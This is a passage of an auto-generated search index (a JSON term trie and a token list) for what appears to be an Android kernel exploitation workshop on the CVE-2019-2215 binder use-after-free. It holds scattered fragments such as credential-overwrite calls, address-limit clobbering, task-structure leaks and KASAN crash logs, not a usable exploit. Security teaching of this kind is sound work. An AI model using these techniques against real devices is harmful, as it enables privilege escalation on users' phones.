tion.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"\"":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"g":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}},"/":{"docs":{},"a":{"docs":{},"p":{"docs":{},"e":{"docs":{},"x":{"docs":{},"/":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},".":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},".":{"docs":{},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"@":{"1":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}}}}}}}}},"t":{"docs":{},"z":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"@":{"2":{"9":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}},"i":{"3":{"8":{"6":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"y":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},"\"":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"?":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"[":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.008695652173913044},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}},"\\":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.006956521739130435},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"^":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"c":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"!":{"docs":{},"a":{"docs":{},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},"&":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}},"=":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}}}},"length":4939},"corpusTokens":["!=","!atomic_read(&thread","\"","\"/apex/com.android.runtime@1\"","\"/apex/com.android.tzdata@290000000\"","\"base\"","\"bytes\"","\"container\"","\"git","\"i386","\"iov","\"struct","\"wait\"","#","##","###","#1","#defin","#endif","#if","#ifdef","#ifndef","#includ","$","$(which","$1","$13","$16","$17","$4","$5","$9","$archsubarch","${kernel_dir}/scripts/config","${out_dir}","${out_dir}/.config","%p\",","%p\\n\",","&","&&","&epds,","&epi","&epq.pt);","&event);","&init_groups,","&init_user_ns,","&iov,","&iter);","&iter,","&junksocketdata,","&message,","&p);","&pos,","&pwq","&task_struct","&thread","'current'","'init_load_pct'","'ptrace_entry'","'ptraced'","'target","'task_struct'.","'thread_struct'","(!(epi","(!epi)","(!f.file)","(!list_empty(lsthead))","(!new)","(!tf.file)","(!thread)","((_type","((int8_t","((long)(&((_typ","((thread","((uint8_t","()","(0","(1003.1g","(1003.1g)","(3958288","(@hacksysteam)","(@maddiestone)","(@vnik5287)","(access_ok(verify_read,","(access_ok(verify_write,","(at","(binder_thread","(c)","(cd","(childpid","(cmd)","(copy_from_user(iov,","(cow):","(current","(daemon)","(databuff","(de","(ep_op_has_event(op)","(epi","(epi)","(error","(f.file)","(fcntl(pipe_fd[0],","(finalsocketdata)","(gdb)","(i440fx","(is_ttbr0_addr(addr)","(kasan)","(len","(lsm).","(nbytesread","(nbytesreceiv","(nbyteswritten","(needed)","(nr_dirti","(nr_seg","(nsa)","(null)","(op)","(original)","(overridable)","(p","(pf_*),","(pipe(pipe_fd)","(poll","(proc","(pwq","(q)","(rca)","(reg","(ret","(see","(seg","(send_reply)","(size","(socketpair(af_unix,","(struct","(syzkal","(t)","(tag).","(thread","(uint32_t)0","(uint32_t)0x00000000","(uint64_t)","(uint64_t)0","(uint64_t)0x3fffffffff","(unlikely(!left","(use","(void","(whead)","({",")allocation:","*","*\"","*((int64_t","*)","*)((void","*)(_ptr)","*)0)","*)arg;","**iov,","**pep)","**ret_pointer)","*,","*/","*active_mm;","*audit_context;","*backing_dev_info;","*base;","*binder_get_thread(struct","*bio_list;","*blocked_on;","*buf,","*buf;","*cgroups;","*clear_child_tid;","*compat_robust_list;","*cred;","*daemon)","*delays;","*entry)","*ep","*ep,","*ep;","*epi","*epi)","*epi,","*epi;","*event,","*event;","*fast_pointer,","*file,","*file;","*files;","*filp)","*filp,","*from,","*from;","*fs;","*group_info;","*group_leader;","*i)","*io_context;","*iov","*iov,","*iov;","*iov_base;","*journal_info;","*kaddr,","*kcov;","*kcov_area;","*last_siginfo;","*last_wakee;","*lsthead","*memcg_in_oom;","*mempolicy;","*mm;","*must*","*nameidata;","*new","*new)","*new;","*new_thread;","*next;","*nodp,","*nsproxy;","*numa_faults;","*numa_group;","*old","*old;","*oom_reaper_list;","*ovflist;","*p)","*p;","*page,","*parent;","*pep","*perf_event_ctxp[perf_nr_task_contexts];","*pi_blocked_on;","*pi_state_cache;","*pi_top_task;","*plug;","*pos,","*prepare_kernel_cred(struct","*proc","*proc)","*proc,","*proc;","*process_keyring;","*pt)","*ptracer_cred;","*put_addr;","*pwq)","*pwq;","*rcu_blocked_node;","*real_cred;","*real_parent;","*reclaim_state;","*regs)","*request_key_auth;","*ret_stack;","*robust_list;","*sched_class;","*sched_task_group;","*security;","*session_keyring;","*set_child_tid;","*sighand;","*signal;","*splice_pipe;","*stack;","*stack_vm_area;","*task","*task;","*task_works;","*tep","*tfile,","*thread","*thread)","*thread;","*thread_keyring;","*time_in_state;","*to,","*transaction_stack;","*tsk;","*ubuf","*user;","*user_ns;","*utask;","*vec,","*vfork_done;","*wait)","*whead,","*whead;","*wq_entry)","*wq_head,","*ws;","*xhlocks;","+","+++","+0100","+132,21","+4302,18","+4768,12","+4783,10","+=","...","...\"","../custom","./cve",".cap_bset",".cap_effect",".cap_inherit",".cap_permit",".compat_ioctl",".egid",".euid",".fsgid",".fsuid",".gid",".group_info",".magic",".open",".poll",".repo/manifests/",".securebit",".sgid",".subscrib",".suid",".uid",".unlocked_ioctl",".usag",".user",".user_n","/","/*","/*if","//","/d","/data/local/tmp","/dev/bind","/home/ashfaq/workshop/android","/product/apex","0","0)","0);","0,","0.","0.000000]","0.084s)","0000000000000000","0000000000000002","00000000000000e7","0000000000000246","0000000000001000","0000000000400190","00000000004002e0","00000000004047d7","0000000000482335","00000000004a4618","0000000047f78877","000000004cfd027e","0000000074961168","0000000097645739","000000009da7c655","000000010012000e","00000246","00007ffe9760fe10","00007ffe9760fee0","002b:00007ffe9760fe18","0033:0x4047d7","04/01/2014","0;","0th","0x%lx","0x%lx\",","0x%lx,","0x%lx\\n\",","0x%x\",","0x%x\\n\",","0x0","0x00","0x0000000000000000","0x0000000000000001","0x0000000000000003","0x0000000000007201","0x000000000000fff0","0x0000002000001b35","0x08","0x1","0x1,","0x10","0x1000","0x10000","0x100000000","0x1d32","0x20","0x2000","0x2000.","0x3","0x3f;","0x4","0x4000000000010200(slab|head)","0x40046208ul","0x41","0x41414141","0x41414141,","0x41414141;","0x42424242","0x42424242;","0x43736564","0x44656144","0x7","0x8","0x8,","0x8;","0xa0","0xa8","0xb0","0xb8","0xc0","0xc8","0xffff88800c18f200:","0xffff88800c18f210:","0xffff88800c18f220","0xffff88800c18f220:","0xffff88800c18f230:","0xffff88800c18f240:","0xffff88800c18f248","0xffff88800c18f250:","0xffff88800c18f260:","0xffff88800c18f270:","0xffff88800c18f280:","0xffff88800c18f290:","0xffff88800c18f2a0","0xffff88800c18f2a0:","0xffff88800c18f2a8","0xffff88800c18f2b0:","0xffff88800c18f2c0:","0xffff88800c18f2d0:","0xffff88800c18f2e0:","0xffff88800c18f2f0:","0xffff88800c18f300:","0xffff88800c18f310:","0xffff88800c18f320:","0xffff88800c18f330:","0xffff88800c18f340:","0xffff88800c18f350:","0xffff88800c18f360:","0xffff88800c18f370:","0xffff88800c18f380:","0xffff88800c18f390:","0xffff88800c18f600","0xffff888033521d40","0xffff8880580f1480","0xffff88805c05cae0","0xffff888063a14b00","0xffff888063a14fe8","0xffff888063a15188","0xffff888063a151c0","0xffff888066e016c0","0xffff88806793c000","0xffff88806d4bb200","0xffffffff80200000","0xffffffff802aa586:","0xffffffff802aa5be:","0xffffffff80824047:","0xffffffff81433ac0","0xffffffff816acfe8","0xffffffff82b34028","0xffffffff;","0xfffffffffffffffe","0xfffffffffffffffe.","0xffffffffffffffff","0xffffffffffffffff,","0xffffffffffffffff.","1","1)","1):","1.","1.11.1","10","10.0","1000","100644","11:27:07","12","132,19","16","16/materials/eu","160","18.04","182a76ba7053af521e4c0d5fd62134f1e323191d","1996),","1;","1].iov_bas","1].iov_len","1|generic_x86_64:/","2","2)","2);","2.","2.7","2.7.17","2017","2018","2019","2019.","21.0.6113669.","2215","2215.avd/config.ini","2215.patch","25","25*16","256","27th","2].iov_bas","2].iov_len","2].iov_len;","3","32","32bit","32bit,","34.036876]","34.037889]","34.038743]","34.040108]","34.042497]","34.043586]","34.044542]","34.054885]","34.057660]","34.073716]","382.398561]","382.402796]","382.405929]","382.409386]","382.410127]","382.413871]","382.417931]","382.419106]","382.420596]","382.422146]","382.423691]","382.425082]","382.426437]","382.427468]","382.428725]","382.429884]","382.431010]","382.432003]","382.433156]","382.434252]","382.435024]","382.435953]","382.436825]","382.437483]","382.438145]","382.438932]","382.439642]","382.440555]","382.441247]","382.441964]","382.442652]","382.443264]","382.443920]","382.444784]","382.445341]","382.446661]","382.447904]","382.449190]","382.450517]","382.451889]","382.453146]","382.453427]","382.454054]","382.454738]","382.455445]","382.456063]","382.456869]","382.457605]","382.458235]","382.458910]","382.459598]","382.460525]","382.461085]","382.461334]","382.461762]","382.462222]","382.462711]","382.463149]","382.463538]","382.464095]","382.464623]","382.465071]","382.465518]","382.465906]","382.466358]","382.466953]","382.467335]","382.467783]","382.469983]","382.472065]","382.472915]","382.474871]","382.475744]","382.476960]","382.478072]","382.478784]","382.478973]","382.479571]","382.480479]","382.481318]","382.482155]","382.482806]","382.483648]","382.484485]","4","4.14","4.14.150+","4.4","4.9/bin","40","400","4000000000010200","408","4302,6","44.8","4701.","4768,10","4781,8","48ul","4gb","5","50.","512","53.","61","64","64bit","64bit.xml\"","64kb","64ul","65536","6c6","7039","7474","7474,","7474.","7682","7682:","77","7a3cee43e935b9d526ad07f20bf005ba7e74d05b","7a3cee43e935b9d526ad07f20bf005ba7e74d05b.","7b2fd5f251f2..67af61637f55","8","8.2","99629d91423c",":",":0;",":1234",":1234'","=","==","==================================================================",">",">0",">=",">_key",">_memb))",">_qproc",">_qproc(filp,",">alloc_lock:",">base",">cap_ambient.cap[0]",">cap_ambient.cap[1]",">cap_bset.cap[0]",">cap_bset.cap[1]",">cap_effective.cap[0]",">cap_effective.cap[1]",">cap_inheritable.cap[0]",">cap_inheritable.cap[1]",">cap_permitted.cap[0]",">cap_permitted.cap[1]",">cred",">cred,",">cred:",">egid",">end",">entri",">entry);",">ep",">euid",">event",">event.ev",">event.events;",">f_op",">father",">fd",">ffd,",">ffd.file",">ffd.file,",">ffff88804e486580:",">file",">fllink);",">fsgid",">fsuid",">gid",">idid",">import",">iov_base;",">iov_len",">iov_len\"",">iov_len)",">iov_len);",">is_dead",">llink",">llink,",">lock",">lock);",">lock,",">lock.",">looper",">next);",">next,",">nsproxy:",">nwait",">nwait++;",">orig_addr_limit",">ovflist",">parent",">pid)",">pid:",">poll",">poll()",">poll(epi",">poll_wait);",">prev",">prev,",">print",">private_data",">private_data.",">private_data;",">proc);",">ptrace",">pwqlist",">pwqlist);",">pwqlist.",">pwqlist;",">rbr",">rdllink);",">rdllist);",">real_cr",">real_cred,",">real_cred;",">real_par",">securebit",">suid",">thread.addr_limit.seg",">thread.addr_limit.seg)",">threads.rb_nod",">tmp_ref))",">uid",">wait",">wait)",">wait))",">wait);",">wait,",">wait.",">wait.entri",">wait.entry.",">wait.head",">wait.head.",">wait.head.next",">wait.head.prev",">wait.head.prev,",">wait.head.prev.",">wait.lock",">whead",">whead);",">whead.",">wq);","?","?[]","@@","@hacksysteam","[","[*]","[+]","[...]","[]","[ffff88804e486528,","[gs]et_task_comm()","[libpython2.7.so.1.0]","\\","]","^","^c","____fput+0x15/0x18","__crc_kasan_check_read","__crc_kasan_check_writ","__crc_kasan_kmalloc","__crc_kasan_restore_multi_shot","__crc_kasan_save_enable_multi_shot","__dump_stack","__fput+0x1f2/0x51d","__kasan_kmalloc+0x133/0x1cc","__kasan_report+0x14f/0x180","__kasan_slab_free+0x18f/0x23f","__kernel_size_t","__kprobe","__list_del(entri","__list_del(struct","__list_del_entry(entry);","__list_del_entry(struct","__randomize_layout;","__raw_spin_lock_irqsav","__rcu","__remove_wait_queu","__remove_wait_queue(struct","__remove_wait_queue(wq_head,","__user","_ioc_size(cmd);","_memb)","_memb)))","_raw_spin_lock_irqsav","_raw_spin_lock_irqsave+0x3a/0x5d","_type,","`gef","`gef'","a\")","a/drivers/android/binder.c","a/lib/iov_iter.c","a340766b51fe..2ef8bd29e188","abi","abov","access","access.","access_ok","access_ok(type,","accessible.","acct_rss_mem1;","acct_timexpd;","acct_vm_mem1;","accumul","accur","achiev","acquir","action","action.","activ","active_transact","active_transactions;","actual","ad","adapt","adb","add","add\"","add_wait_queu","add_wait_queue(whead,","add_wait_queue_exclusive(whead,","addit","addr","addr))","addr,","addr_limit","addr_limit,","addr_limit.","address","address.","address:","advantag","af_unix/af_loc","afterwards.","again","again,","again.","against","agenc","align","alloc","alloc_lock:","alloc_lock;","allocated.","allocated?","allocation,","allocator,","allow","alreadi","ambient","analysi","analysis.pi","analysis.py,","analyz","and/or","android","android:","androidkernel","annot","anoth","ansari","answer","anyth","apex","apexd:","api","appli","application,","applied.","apr","arbitrari","arch/x86/boot/bzimag","arch/x86/entry/common.c:292","arch/x86/entry/entry_64.s:233","arch/x86/kernel/stacktrace.c:59","arch=x86_64","architecture.","arg)","arguabl","argument","arm64","arm64,","around","array","array_size(iovstack),","ashfaq","ashfaq@hacksys:/tmp$","ashfaq@hacksys:~$","ashfaq@hacksys:~/workshop$","ashfaq@hacksys:~/workshop/android","ashfaq@hacksys:~/workshop/exploit$","ask","assign","associ","assum","atom","atom_64","atomic_cmpxchg","atomic_flags;","atomic_init(2),","atomic_init(4),","atomic_t","attach","attach:","attack","attacks.","attribut","audit(1586624810.629:5):","audit(1586624810.659:6):","audit_context","author","author:","autom","automatically.","automation.","avc:","avd","averag","avoid","away","awesome,","b","b/drivers/android/binder.c","b/lib/iov_iter.c","back","background","backing_dev_info","bad","balance_dirty_pages()","base","base:","basic","basically,","basis.","be","because,","because:","becom","befor","begin","beginning.","behavior","behavior.","believ","belong","below","below.","below:","better","between","big","bind","binder","binder'","binder:","binder_error","binder_fop","binder_free_thread","binder_free_thread(struct","binder_free_thread(thread);","binder_free_thread(thread=0xffff88800c18f200)(enter)","binder_get_thread","binder_get_thread(proc);","binder_get_thread+0x166/0x6db","binder_get_thread_ilock","binder_get_thread_ilocked(proc,","binder_inner_proc_unlock(thread","binder_ioctl","binder_ioctl(struct","binder_ioctl+0x48a/0x101c","binder_ioctl,","binder_looper_state_poll)","binder_open","binder_open(struct","binder_open,","binder_pol","binder_poll()","binder_poll(struct","binder_poll+0x4c/0x1c2","binder_poll,","binder_proc","binder_send_failed_reply(send_reply,","binder_stat","binder_thread","binder_thread)","binder_thread,","binder_thread.","binder_thread\\n\");","binder_thread_dec_tmpref","binder_thread_dec_tmpref(struct","binder_thread_dec_tmpref(thread);","binder_thread_dec_tmpref+0x192/0x1d9","binder_thread_exit","binder_thread_exit,","binder_thread_exit:","binder_thread_releas","binder_thread_release(proc,","binder_thread_release(struct","binder_thread_release+0x464/0x4bd","binder_transact","binderuaf::clobberaddrlimit()","binderuaf::leaktaskstruct()","bio","bio_list","bit","bitmask","bits,","black","blk_plug","block","blocked;","blocks.","blog","blog/linux","bool","boot","bot)","both","bound","boundari","boundary:","br_dead_reply);","branch","branch.","branch=kasan","branch=relwithdebinfo","branches.","break","break;","breakpoint","brk_randomized:1;","bsd","btrace_seq;","buf","buf,","buffer","buffer,","buffers.","bug","bug.","bug:","buggi","bugs/qyxdguhaf50/elgkcwk9aqaj","bugs/qyxdguhaf50/g","build","build/build.sh","build_config=../build","building:","buildtools_prebuilt_bin=build/build","built","built,","bundl","busi","but,","by:","byte","bytes))","bytes,","bytes.","bytes;","bytes\\n\",","c","cach","cache.","caching:","caddr_t","calcul","call","call,","call.","callback","callback_head","called,","called.","caller","calls.","can't","canari","candid","cap","cap_ambient;","cap_bset;","cap_effective;","cap_empty_set","cap_empty_set,","cap_full_set","cap_full_set,","cap_inheritable;","cap_permitted;","capabl","capac","capacity\\n\");","care","case","case.","case?","cat","catch","caus","cc=clang","cd","cg_list","cg_list;","cgroup","chain","chang","channel","chapter,","char","check","check.","check_memory_region+0x171/0x17","check_memory_region_inlin","checkout","child","child,","child:","childpid","children","children/s","children:","children;","chrome","chunk","chunk.","circular","clang_prebuilt_bin=prebuilt","clang_triple=x86_64","clean","cleanup","clobber","clobbered,","clobbered.","clone","clone.","clone_child_cleartid:","clone_child_settid:","closed);","closely,","closid;","cloudfuzz.","cmd,","cmd:","code","code,","code.","coding:","coenen","collect","collection:","come","comm:","comm=\"init\"","comm=\"ls\"","comm[task_comm_len];","command","command,","commandlin","commands.","comment","commit","commit,","commit:","commit_cr","commit_creds(prepare_kernel_cred(null));","commit_creds(struct","committed)","commun","communication.","compat","compat_ioctl","compat_robust_list_head","compil","complet","completely,","completes,","compound_mapcount:","comput","condit","config","config'","config_arch_has_scaled_cputim","config_auditsyscal","config_blk_dev_io_trac","config_block","config_cc_stackprotector","config_cgroup","config_cgroup_sch","config_compat","config_compat_brk","config_cpu_freq_tim","config_cpuset","config_debug_atomic_sleep","config_debug_credenti","config_debug_info","config_debug_info_reduc","config_debug_mutex","config_debug_preempt","config_detect_hung_task","config_fault_inject","config_frame_point","config_function_graph_trac","config_futex","config_intel_rdt","config_kasan","config_kasan_inlin","config_kasan_outlin","config_kcov","config_kernel_lz4","config_key","config_latencytop","config_livepatch","config_lockdep","config_lockdep_crossreleas","config_memcg","config_mmu","config_net_rx_busy_pol","config_no_hz_ful","config_numa","config_numa_balanc","config_perf_ev","config_posix_tim","config_preempt_notifi","config_preempt_rcu","config_psi","config_randomize_bas","config_rt_mutex","config_sched_walt","config_secur","config_slob","config_slub","config_slub_debug","config_slub_debug_on","config_slub_debug_panic_on","config_smp","config_sysvipc","config_task_delay_acct","config_task_xacct","config_tasks_rcu","config_test_kasan","config_thread_info_in_task","config_trac","config_trace_irqflag","config_ubsan","config_uprob","config_virt_cpu_accounting_gen","config_vmap_stack","configs/goldfish.x86_64.kasan","configs/goldfish.x86_64.relwithdebinfo","configur","confirm","connect","connect.","const","contain","containerof(_ptr,","content","context","context,","context=u:r:shell:s0","continuing.","control","convert","copi","copied.","copy);","copy,","copy_from_us","copy_from_user(&epds,","copy_page_to_iter_iovec","copy_page_to_iter_iovec(struct","copyin(void","copyout(buf,","copyout(void","copyright","core","correspond","corrupt","count","count);","count:1","counter","counts.","counts:","coverag","cp","cpu","cpu:","cpu;","cpu_timers[3];","cpumask_t","cpus_allowed;","cpuset_mem_spread_rotor;","cpuset_slab_spread_rotor;","cputime_expires;","crash","crash,","crash.","creat","cred","cred));","cred.","cred:","cred_mag","cred_magic,","cred_magic_dead","credenti","credentials.","credentials:","critic","cross","cross_compile=${cross_compile}","cross_compile=x86_64","crossreleas","css_set","css_set_lock","css_set_lock:","ctl","ctrl+c","curr_chain_key;","curr_ret_stack;","current","current;","current_thread_info()),","currently,","currentpid:","custom","cve","d","dangl","data","data.","databas","databuffer,","databuffer[page_size]","date:","day","day,","deadlock","deal","debug","debugg","debugging,","debugging.","decay","decemb","decis","def","default","default:","default_timer_slack_ns;","defconfig=x86_64_ranchu_defconfig","defin","defined(config_bcache)","defined(config_bcache_module)","defined.","delet","deletion?","deni","denial","depend","depth","depth=1","describ","descript","description;","descriptor","desir","detect","detection:","determin","dev","dev$","dev.","dev/","dev/goldfish$","dev/goldfish/","dev/goldfish/arch/arm64/mm/fault.c","dev/goldfish/arch/x86/include/asm/irqflags.h:61","dev/goldfish/arch/x86/include/asm/uaccess.h","dev/goldfish/drivers/android/binder.c","dev/goldfish/drivers/android/binder.c,","dev/goldfish/drivers/android/binder.c.","dev/goldfish/fs/eventpoll.c","dev/goldfish/fs/eventpoll.c.","dev/goldfish/fs/read_write.c","dev/goldfish/include/linux/list.h","dev/goldfish/include/linux/wait.h","dev/goldfish/include/uapi/linux/uio.h.","dev/goldfish/kernel/sched/wait.c","dev/goldfish/kernel/sched/wait.c,","dev/goldfish/lib/iov_iter.c","dev/out/kasan/","dev/out/kasan/dist.","dev/out/kasan/dist/bzimag","dev/out/kasan/dist/vmlinux","dev/out/kasan/dist/vmlinux...done.","dev/out/relwithdebinfo/dist/bzimag","dev/out/relwithdebinfo/dist/vmlinux","dev=\"vdc\"","develop","devic","device.","di","diagram","diagram.","dictat","die(\"access","dies:","diff","differ","dig","directori","directory)","directory.","dirti","dirty_paused_when;","disabl","disabled):","disallow","discard","discov","discoveri","discuss","disk","display","dl;","dmesg","dmesg,","dmesg.","dmesg:","do","do.","do_exit+0x818/0x2384","do_group_exit+0x12c/0x24b","do_group_exit+0x24b/0x24b","do_iter_write(file,","do_page_fault","do_page_fault(unsign","do_raw_spin_lock_flag","do_syscall_64+0x19e/0x225","do_vfs_ioctl+0x608/0x106a","do_writev","do_writev(fd,","do_writev(unsign","document","does.","don't","done","done,","done.","doubl","download","drive","drivers/android/binder.c","drivers/android/binder.c:2053","drivers/android/binder.c:4677","drivers/android/binder.c:4705","drivers/android/binder.c:4794","drivers/android/binder.c:4805","drivers/android/binder.c:5062","due","dummi","dump","dump_stack+0x78/0xb","durat","dure","dynam","e","each","earlier","eas","ebadf;","editor","eexist;","efault;","effect","effectively,","eflags:","egid;","einval;","el0","element","embed","empty.","emul","emulator,","emulator.","enabl","enabled,","enabled.","encount","end","enforc","engin","enhanc","enoent;","enomem;","enough","ensur","enter","entri","entry_syscall_64_after_hwframe+0x3d/0xa2","enum","environ","ep","ep;","ep_alloc","ep_alloc(&ep);","ep_alloc(struct","ep_alloc,","ep_eventpoll_poll+0x228/0x228","ep_eventpoll_release+0x48/0x54","ep_find","ep_find(ep,","ep_free+0x8b/0x181","ep_free.","ep_insert","ep_insert(ep,","ep_insert(struct","ep_item_from_epqueu","ep_item_from_epqueue(pt);","ep_item_pol","ep_item_poll(epi,","ep_item_poll(struct","ep_poll_callback);","ep_pqueu","ep_ptable_queue_proc","ep_ptable_queue_proc(struct","ep_ptable_queue_proc);","ep_rbtree_insert","ep_rbtree_insert(ep,","ep_remov","ep_remove(ep,","ep_remove(struct","ep_remove_wait_queu","ep_remove_wait_queue(pwq);","ep_remove_wait_queue(struct","ep_remove_waitqueue()","ep_scan_ready_list","ep_set_ffd","ep_set_ffd(&epi","ep_unregister_pollwait","ep_unregister_pollwait(ep,","ep_unregister_pollwait(struct","ep_unregister_pollwait+0x160/0x1bd","epds.ev","epds;","epfd","epfd,","epfd;","epi","epi);","epi;","epitem","epitem\"","epol","epoll_cr","epoll_create(1000);","epoll_create1","epoll_ctl","epoll_ctl(epfd,","epoll_ctl_add","epoll_ctl_add,","epoll_ctl_add:","epoll_ctl_del","epoll_ctl_del,","epoll_ctl_del:","epoll_ev","epoll_event)))","epoll_filefd","epollexclusive)","epollin};","epollwakeup","eppoll_entri","eppoll_entry,","epq.epi","epq.pt","epq;","equal","err(\"\\t[","err;","erroneously.","error","error,","error:","error;","error_fput;","error_return;","escal","escalation.","esr);","esr,","etc","etc.","etc.,","euid/fsgid","euid;","even","event","event)","event,","event;","eventpol","eventpoll\"","eventpoll,","eventu","ex","exactli","exception_stack","exclud","execut","executed.","execve():","exist.","exit","exit(),","exit(exit_failure);","exit(exit_success);","exit_code;","exit_group","exit_signal;","exit_state;","exit_task_work","exits,","exits.","expected:","expectedbytesreceiv","expectedbytesreceived)","expectedbytesreceived);","expectedpid:","explicitli","explicitly,","exploit","exploit.","exploit.html","exploit/","exploitation,","exploitation.","exploited.","exploits,","exponenti","extens","extent","extra_cmds=''","f","f,","f.file","f5cb779ba16334b45ba8946d6bfa6d9834d1527f","f6ddec245187..55e2748a13e4","f_op","f_setpipe_sz,","face","fail","fail_nth;","failed.","fails.","fast_pointer;","fast_segs)","fast_segs,","fault","fault,","fault_flag_allow_retri","fault_flag_killable;","faults_cpu","faults_cpu,","faults_cpu:","faults_cpu_buff","faults_cpu_buffer:","faults_memori","faults_memory,","faults_memory:","faults_memory_buff","faults_memory_buffer,","fb","fc","fd","fd);","fd,","fd.","fd;","fd_install(fd,","fdget(epfd);","fdget(fd);","fdget_pos(fd);","featur","feature:","februari","few","ffd","ffd;","ffff88804e486480:","ffff88804e486500:","ffff88804e486528","ffff88804e4865c8","ffff88804e486600:","ffff88804e486680:","ffff88804e486728)","ffff88804e4872a8","ffff88805ac01650","ffff88805ac0cf40","ffffea00015fb220","ffffffff806d3a9c","ffffffff806d3b44","ffffffff806d4d62","ffffffff806d55b9","ffffffff806d55c4","ffffffffffffffda","field","field.","figur","file","file\"","file);","file.","file;","file_oper","files,","files=\"","files_struct","filesystem","filp","filp,","filter","final","finally,","finalsocketdata","finalsocketdata,","finalsocketdata[]","find","fine","fine.","first","first,","fist","fix","flag","flags)","flags);","flags:","flags;","flight","fllink;","flow","follow","forc","fork","fork();","fork.","form","found","found,","foundation,","four","fourth","free","free.","freebinderthread();","freed","freed,","freed.","freed?","fri","from,","fs,","fs/eventpoll.c:1476","fs/eventpoll.c:2014","fs/eventpoll.c:2128","fs/eventpoll.c:612","fs/eventpoll.c:630","fs/eventpoll.c:847","fs/eventpoll.c:879","fs/eventpoll.c:888","fs/eventpoll.c:942","fs/file_table.c:210","fs/file_table.c:244","fs/ioctl.c:46","fs/ioctl.c:692","fs/ioctl.c:701","fs/notify/fsnotify.c:99","fs=kernel_ds\",","fs_struct","fsgid;","fsnotify_unmount_inodes+0x1e8/0x1e8","fstack","fsuid;","ftrace_ret_stack","ftrace_timestamp;","full","full_check","full_check)","full_check);","function","function'","function,","function.","functions.","further","futex_pi_st","fxvo1oawaj","g","g0551a4be2c","gain","gb","gb+","gcc","gdb","gdb)","gdb.selected_inferior().write_memory(address,","gdbserver","gdbstub","gdbstub.","gef","gef>","generic/atom","generic/qspinlock.h:87","generic_x86_64:/","generic_x86_64:/data/local/tmp","get","get_cred(&init_cred);","get_task_cred(daemon);","getattr","getenforc","gfp_kernel)))","gfp_kernel);","gfp_t","gid","g